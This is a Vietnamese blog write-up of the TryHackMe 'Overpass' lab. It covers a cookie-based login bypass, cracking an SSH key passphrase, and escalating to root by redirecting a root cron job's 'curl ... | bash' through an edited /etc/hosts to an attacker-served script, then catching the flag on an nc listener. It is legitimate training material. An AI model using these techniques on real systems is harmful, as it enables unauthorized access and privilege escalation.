[Machines] Overpass – TryHackMe Writeup

Overpass là một machine ở mức Dễ trên nền tảng TryHackMe. Tại machine này, chúng ta sẽ khai thác lỗi xử lý logic và các cấu hình lỗi để thực hiện thâm nhập vào hệ thống và leo quyền lên root.

Truy cập vào server

Đầu tiên chúng ta sẽ thực hiện quét các cổng đang mở trên hệ thống. Để đẩy nhanh quá trình quét, chúng ta sử dụng Rustscan, một công cụ cải tiến dựa tên nmap:

rustscan -a 10.10.241.188 -- -A

Rất nhanh, rustscan cho kết quả 2 cổng đang mở là 22 80, tương ứng với SSH HTTP.

Tại cổng 80, machine đang host một trang web:

Tiếp theo mình sẽ quét các directory ẩn bằng gobuster:

gobustgobuster dir -u 'http://10.10.241.188/' -k -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 -t 100

Từ kết quả quét, chúng ta tìm thấy thêm đường dẫn /admin:

Đó là một form đăng nhập:

Nếu chúng ta kiểm tra mã nguồn của trang này sẽ thấy một số file javascript, trong đó một file có tên login.js:

Trong file này, có một hàm là login():

function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

Như các bạn đã thấy, hàm này gửi thông tin đăng nhập gồm có username password lên server ở endpoint /api/login. Sau đó, tùy thuộc vào phản hồi từ phía server mà hàm này đặt một cookie có tên SessionToken. Nếu đăng nhập thất bại, SessionToken sẽ có giá trị là chuỗi “Incorrect credentials”, còn nếu thành công thì không phải. Vì vậy mình sẽ thử đổi giá trị của cookie này thành một giá trị khác chuỗi “Incorrect credentials”, giả sử như “admin” chẳng hạn:

Sau đó reload lại trang:

Bùm! Chúng ta đã truy cập được vào đường dẫn /admin. Có vẻ James rất hay quên mật khẩu và đồng nghiệp Paradox đã thiết lập cho anh một khóa riêng tư để đăng nhập vào SSH. Tuy nhiên, chúng ta vẫn chưa thể sử dụng khóa riêng tư này ngay vì nó đã được bảo vệ bởi mật khẩu:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

Vậy để có thể sử dụng khóa này, ta cần phải crack được mật khẩu. ssh2john.py sẽ giúp chúng ta chuyển khóa riêng tư thành dạng hash, sau đó sử dụng JohntheRipper để crack mật khẩu:

python3 ssh2john.py privkey > privkey.hash

Sau đó nạp đoạn hash vào JohnTheRipper và crack bằng file rockyou.txt:

JohnTheRipper đã crack được mật khẩu james13. Vậy chúng ta đã có thể dễ dảng đăng nhập SSH vào máy chủ bằng private key và mật khẩu của nó:

ssh -i privkey james@10.10.241.188

Tại đây chúng ta có thể lượm luôn user flag:

Leo quyền lên root

Truy cập được vào user james rồi, chúng ta muốn leo quyền lên root để lấy root flag.

Để tổng hợp hầu hết thông tin của machine, mình sẽ sử dụng linpeas.sh, từ đó tìm các hướng tấn công nâng quyền. Ta chỉ việc chuyển file này vào machine và chạy thôi:

./linpeas.sh > output.txt
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
cat output.txt

Sẽ mất một vài phút để đoạn scipt này quét qua toàn bộ hệ thống. Đọc file kết quả, chúng ta thấy một điều thú vị:

Khi quét các cronjob (những công việc được cài đặt để tự động thực thi), linpeas đã phát hiện ra một đoạn lệnh được thực thi với quyền root mỗi một phút (5 dấu sao * đánh dấu công việc này được thực hiện mỗi phút mỗi tuần, mỗi tháng, mỗi năm):

curl overpass.thm/downloads/src/buildscript.sh | bash

Mỗi phút root sẽ lấy file có tên buildscipt.sh từ địa chỉ overpass.thm/downloads và sử dụng bash để thực thi. File buildscript.sh này trông như sau:

curl overpass.thm/downloads/src/buildscript.sh

Chú ý ở dòng cuối, đoạn lệnh có lấy output của lệnh “date -R” ghép với “Build completed”, sau đó ghi vào file /root/buildStatus. Mình đã thử tự tạo một binary tên date riêng, sau đó export địa chỉ file này lên đầu biến môi trường PATH, để đoạn lệnh khi gọi date sẽ chạy binary của mình thay vì binary mặc định /bin/date. Tuy nhiên cách này lại không được :))

Vậy cần cách nào đó để lừa đoạn lệnh kia chạy code của chúng ta. Rồi mình nhận thấy đoạn lệnh curl đang thực hiện request đến tên miền overpass.thm, và chắc chắn địa chỉ IP kết nối với tên miền này nằm ở file /etc/hosts:

cat /etc/hosts

Khi request đến địa chỉ overpass.thm, thực tế request đã đến địa chỉ IP 127.0.0.1. Vậy là nếu chúng ta đổi địa chỉ IP này thành một địa chỉ bất kỳ, request sẽ đến đó. Và điều thú vị là trong trường hợp này chúng ta lại hoàn toàn có thể chỉnh sửa file /etc/hosts này:

ls -la /etc/hosts

Vậy là chúng ta cần chỉnh sửa IP thành về địa chỉ của mình, sau đó chuẩn bị một file buildscript.sh “giả”, chứa lệnh lấy root flag. Khi root request đến đây, lấy file “giả” về và thực thi, root flag sẽ được gửi về cho chúng ta.

Đầu tiên cần chuẩn bị một file buildscript.sh:

Sau đó đặt file này trong thư mục /downloads/src. Quay về thư mục gốc, ta mở một cổng http tại đây bằng python. Lưu ý ta cần mở cổng 80 vì đây là cổng mặc định:

sudo python3 -m http.server 80

Xong rồi, giờ ta chỉ cẩn chỉnh sửa file /etc/host nữa thôi:

nano /etc/hosts

Chúng ta có thể kiểm tra lại bằng lệnh ping để đảm bảo request đến đúng địa chỉ:

Giờ ta sẽ mở cổng 9999 để nhận root flag sắp tới sẽ nhận về:

nc -lvnp 9999

Việc còn lại là ngồi chờ thêm 1 phút để root tự động thưc hiện lệnh thôi là chúng ta đã có root flag tại cổng 9999:

Trả lời

Please log in using one of these methods to post your comment:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s